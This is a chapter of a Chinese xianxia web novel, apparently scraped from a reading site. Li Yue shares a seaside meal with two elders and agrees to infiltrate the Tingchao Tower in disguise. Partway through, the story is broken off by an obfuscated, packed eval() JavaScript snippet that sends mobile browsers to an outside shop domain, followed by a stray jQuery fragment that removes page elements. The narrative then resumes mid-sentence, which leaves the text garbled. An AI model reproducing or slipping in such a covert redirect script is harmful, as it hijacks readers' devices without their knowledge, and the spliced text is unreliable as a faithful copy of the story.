一股热意自身旁极近处传来,李越扭头看去,只见靳长老以手支棂,一腿微曲,姿态极放松闲适,越发显得猿背蜂腰、威势深重;
或许是死里逃生,终于能将吊到嗓子眼的心垂回肚子里,又或许是受海边美景与松弛气息感染,李越带着纯粹的欣赏之意,借着阳光的势,将靳长老从头看到脚,再从脚看到头,对方似乎又陆续说了几句话,但他一个字都没听进去,仿佛身边这位猛男也是个入情入景的二层小楼,正在随风摇晃身上的铃铛。
海边真是个好地方啊。
珍珠:……咳。
“…啊……什么?”李越猛地涨红了脸,“抱歉,我有点……”
“累了对不对?是该好好休息一下。”
靳长老目光关切,仔细凝视着李越,距离如此之近,他们无可避免地直接对视着,靳绍宁眉头紧蹙,担忧之意溢于言表,
“修为恢复得这么快,本就应该静心休养巩固……先吃点东西补充一下,一会我开阵送你回去,别挤公共飞舟了。”
“嗯……嗯。”李越含糊道。
咔哒一声,那枚鬼牙面具忽然滑落,靳绍宁伸手去捞,李越却比他速度更快,两只手在半空中蓦然紧握,李越只觉得自己被一团火囫囵包裹起来,一股太阳般霸道炽烈的暖意自手心烧到脸颊,烧得他微微颤抖,丝毫提不起挣脱的力气;
靳长老似乎也僵住了,既不说话,也无动作,一瞬时光就此凝固、拉长,不知过了多久,二人才讪讪分开,海鸟啁啾着从炸鱼和土豆丸子的香气间飞过,他们不约而同张望向窗外,身体间隔着不远不近的一点距离,彼此都有些奇怪的拘谨。
“根源不稳,难免体寒。”靳绍宁没转头,似乎轻轻笑了笑,“冰椰露…少喝点,这里有上好的白沙绿,热热的配饭吃,对经脉好。”
李越握着椰露杯子的手紧了紧,他摩挲着那股带着水汽的凉意,微不可查地嗯了一声。
用餐时,青阳将主人姿态发挥到极致,布菜十分殷勤,李越婉转推拒了好几次,终于在压轴的锦绣青和鳌红上桌时成功拦住了青长老想要剥虾喂他的打算。
“鱼,你怎么回事?”靳绍宁看不下去了,“你当在你家水底喂鲸呢?”
各色菜品在李越面前几乎堆成了小山,他吃相斯文,入口的速度远赶不上青阳夹菜的速度,很快就噎住了;
靳绍宁亲自上手用自己的灵火煮茶,将汤色最轻浮的上层倒给李越,帮他顺气,李越连喝两杯,不住摆手,勉强夺回了自主进食的权利。
“我在讨好他,显而易见。”青阳正色道,“我想说服他加入接下来的行动。”
“想留他在无尽海多玩几天,直接去学生旅栈开个单间也是一样的。”靳长老吐槽道。
“不是,我认真的。”青长老解释道,“听潮楼这地方情况复杂,你是知道的,咱俩谁能往学生堆里混?哪个长得像上学的?”
“他刚从震宫和枯荣海出来!”靳绍宁面露不豫,“在林子里就跟凡界打了一架,在震宫又挨夔师雷劈,枯荣海那个烤箱……”
“等等,怎么还跟凡界打了一架?无纠没说啊?”青阳震惊。
于是靳绍宁将流珀林深处那场战斗始末细细讲来,二位长老不时暂停讨论细节,又针对黑气的特性和来历一番争论,一时间,满桌好饭竟没人顾得上。
李越默默扒拉面前碟子里的菜,挑出水芹嫩枝、火腿碎、鲜油明笋等几样食材,用小银叉和筷子一点一点将灵气浑浊的部分切掉、挑出,眼看靳、青二人还在说个没完,他自顾自叉起青红两种虾肉,将青虾配着刚才挑出的食材,只拿细细的、带着薄盐的海菜卷做一堆;又在红虾上浇了几滴配茶的稀蜜,舀走黑椒松露鸥肉里摆盘的橙片,轻轻磨下一点橙皮碎洒上,本就晶莹剔透、灵气充足的龙虾,顿时散发出复杂却格外迷人的浓郁香气。
先甜后咸,李越夹起红虾放进口中细细咀嚼,这龙虾果真如青长老所说“又鲜又弹”,鲜气瞬间激活了橙皮的柑橘果香,暖融融的甜香回荡在口腔内,又与蜂蜜稀薄而略带草木清涩的气味相融合,渐渐带出些若有似无的胡椒咸香,令那阵打着卷儿一跃上天的鲜甜复而落地生根,随灵气氤氲到咽喉深处;
追随着这股醇和之意,青虾入口,富有层次感的三种油脂香气漫溢而出,瞬间扫荡寰宇,先前遗留的一点微甜也成为了这浓厚气息的催化剂,反令咸香更具回味,唇齿碰撞间,水芹细嫩的脆和明笋带着憨劲儿的韧撞在一起,如两颗定海针般,从浑厚黏稠的咸香与油腥中抢出一片小小的天地,虾肉清爽的弹与滑终于拨云见日,几星带着海风咸苦的汁水弥散开来,将满嘴荤腥调和匀称,随着海菜的左牵右挂一并滑落腹中。
无尽海真是个好地方。李越正美滋滋一边咀嚼一边想着,却见靳绍宁和青阳不约而同望向他,也不聊天了,只愣愣盯着他还没来得及放下的筷子。
“…什么菜?好香啊……”青阳自言自语。
“是虾?…加了别的蔬菜?”靳绍宁惊奇道,“你切掉了什么?感觉一下就变好吃了……”
“是虾。”李越腮帮子鼓鼓,“好吃哦,还是热的。你们不吃吗?”
吃自然是要吃的,李越安静嚼东西的模样仿佛有种魔力,只要看着便觉得心气平和,清粥小菜也好,珍馐珠玉也罢,被他这样一吃,都显出一种纯粹而本真的滋养感,令人食指大动;
之前争论得几乎剑拔弩张的氛围不复,靳绍宁和青阳纷纷提筷,不多时便将占据小半个桌面的两只龙虾分食殆尽,李越则浅尝辄止,转而专心喝起靳长老煮的那壶茶来,白沙绿色淡而微甘,热热的喝下肚,便有一股清灵之气自五脏六腑间蔓延开,颇为熨帖。
他心满意足,见一旁花架上放着几册花花绿绿的宣传册,便顺手拿来读上一读,没想到封面上赫然印着听潮楼高塔的远景,几乎和刚才窗中看到的别无二致……这座听起来像学校的地方竟然也欢迎游客前往?
又翻了几页,一句藏在不起眼文段中的话吸引了李越的注意力:作为无尽海海岸沿线唯一的修士聚集地,听潮楼坚持“包容”与“开放”,愿为天南东部妖族与人族打造永恒的修真家园。
“哎,平时也没觉得虾这么好吃,在海里早把这些东西吃腻味了。”青阳用竹纸抹抹嘴,开始挑凉拌海贝里的小水萝卜;
靳绍宁添了一碗饭,专配黑椒鸥肉,反手将火腿推到青阳面前。
“楼下还有炸土豆,一会儿弄点,刚好在集市上逛一逛。”他笑道,“吃的喝的用的玩的,稍微买一买,就送李道友回家。”
“怎么就回家了?好歹问一下本人意见吧?”青阳立刻从盘子里抬起头,
“阿越?来听潮楼玩玩吗?你要做的事特别简单,也没有危险,穿着学生衣服进去转一圈就好了,事后有重谢哦~”
“啊…还真是学校。”
虽然这样感慨着,李越面上却没有太多惊讶之色,反而探究般望向青阳,
“听潮楼真的是无尽海附近唯一的修士聚集地吗?”
“呃…确实是。”青长老也有些犹豫,他准备了一肚子关于“大家进听潮楼做什么”的说辞,没想到李越却问了这个,一时间有点没防备,
“海岸线看着是很长,但…你知道的,就像刚才我们走的那条通路那样,海岸线只能看到,走是走不到的,全都被阵法包住了。一般阵法边缘不许随意逗留群聚,加上各种原因吧,听潮楼就变成了唯一的聚集点,不过对大家的生活没什么影响,毕竟海里也挺危险的……”
“好。”李越轻声道,“那就一起去吧。”
靳绍宁一口热茶呛住,猛地咳嗽起来。
“好好好~真是太谢谢了!”青阳顿时喜笑颜开,“阿越你放心,有我俩在,肯定保你安全无虞。”
“…什么‘阿越’?你俩有这么熟吗!”靳绍宁黑着脸怒道,青阳却笑得更开心了。
茶足饭饱,准备干活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776307|210029||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,青阳从储物戒指中掏出一套簇新的听潮楼练功服,向李越挤挤眼睛,示意对方换上,直接被靳绍宁劈手截胡;
靳长老身边凭空出现几包材料,他展开练功服,没见有什么明显动作,便有金石自动飞出,沿某种线路在衣服上抖落碎屑,并随火灵蒸融而自然消失,竟是在徒手炼器,为衣服施加某种阵法。
“最后核对一下行动流程。”青阳道,
“一会儿承之先找地方布阵压住,我从正门进,李越从侧门进,听潮楼一定会派老师迎接我,这样就会将正门的一部分学生挤到侧门,我们分别判断自己见到的老师或学生是不是健康,身上有没有失魂症的黑气,然后分别撤退。”
“不深入调查吗?”李越问道,
“既然听潮楼内弟子众多,我又有衣服伪装,完全可以充当学生住上几天,算上吃饭和听课,能将大部分学生都排查一遍。”
靳绍宁手上速度奇快,正给阵法做最后的收尾,闻言微微一笑。李越正奇怪,青阳便解释道:
“听潮楼这个学校和丹醴或者其他地方都不一样,如你所见,海滩上这么大一个集市,卖什么的都有,所以楼里不设食堂,更没有住宿,大家来去自由,没有那么多挤在一起的情况。”
“也没有太多时间让你晃悠,最好不要见到任何老师。”靳长老补充道,
“最近新生报道,老师们会挑选感兴趣的弟子,有些师兄师姐也会替老师抓徒弟,得在引起他们注意之前就撤离。”
李越点头,青阳却不解:“为什么?”
“你们整个听潮楼凑一起,找不出任何一个有资格指点他的剑修。”靳绍宁认真道,“一定会暴露。”
青阳立即转向李越,眼神亮晶晶的,散发出一股懵懂的欣赏之意。
“并且,我也不建议他走侧门。”靳绍宁继续补充,
“正因为听潮楼一定会派老师迎接你,李越更适合从正门进,届时所有的注意力都会集中在你身上。”
“最后,补充战斗预案,打起来怎么撤退?”
“承之,没有那么严重,只是调查失魂病,没有什么预想中的敌人。”青长老无奈,
“我能理解你对大化宗观感不好……我也说不出那么多弯弯绕,但是至少在无尽海沿线,没有任何凡界修士来过,就算咱们的人陪同也没有过,唯一一例来过妖修驻地的,现在在你手中那个水泡里装着,他们怎么做到隔空促发病症的?”
“况且,第一例失魂病在凡界连接上天南之前就有了,就算他们能隔空发病,隔着世界壁障还能做到这样的事?现在互市风头正盛,双方都是得了好处的,那些灵草灵药……”
青阳还想详细分析,靳绍宁却不耐烦听,一挥手打断了对方的絮叨。
“无尽海是你的地盘,你说了算,不用向我解释。”靳长老的语气果断不容拒绝,
“但是辅助工作找了我来,怎么做就得听我的。如果打起来,我救谁?走哪个门撤退?还有没有后手?”
“你只管李道友就行,我能搞定。”青阳硬气道。
李越摸索着将练功服穿在身上,长袍袍摆抖落,终于露出衣服全貌:那是一件通身苍色的窄袖窄身袍,衣摆部分却如同夕阳下的海水般泛起带金的橙红,端庄与浓艳同时出现在一件衣服上,颇有水族风情;李越竟也适合这样厚重的颜色,越发衬得他静云寂月、超尘脱俗,他将鬼牙面具仔细在脸上扣好,仅仅露出朗星般的一双眸子。
“走了。”青阳向李越一扬下巴,伪装褪去,绫罗飞扬,周身发着光自窗中飘然而出,驾雾飞向听潮楼大门。
李越待要跟上,不知为何却又有些犹疑,他轻轻望向靳长老的方向,似乎想要说些什么,想了又想,却始终没开口。
“你从界碑那里走,就当自己是刚刚传送到此地,直接回头进去。”靳绍宁若无其事地指点道,
李越点点头,最终还是沉默着转身离开,瞬间消失在门外。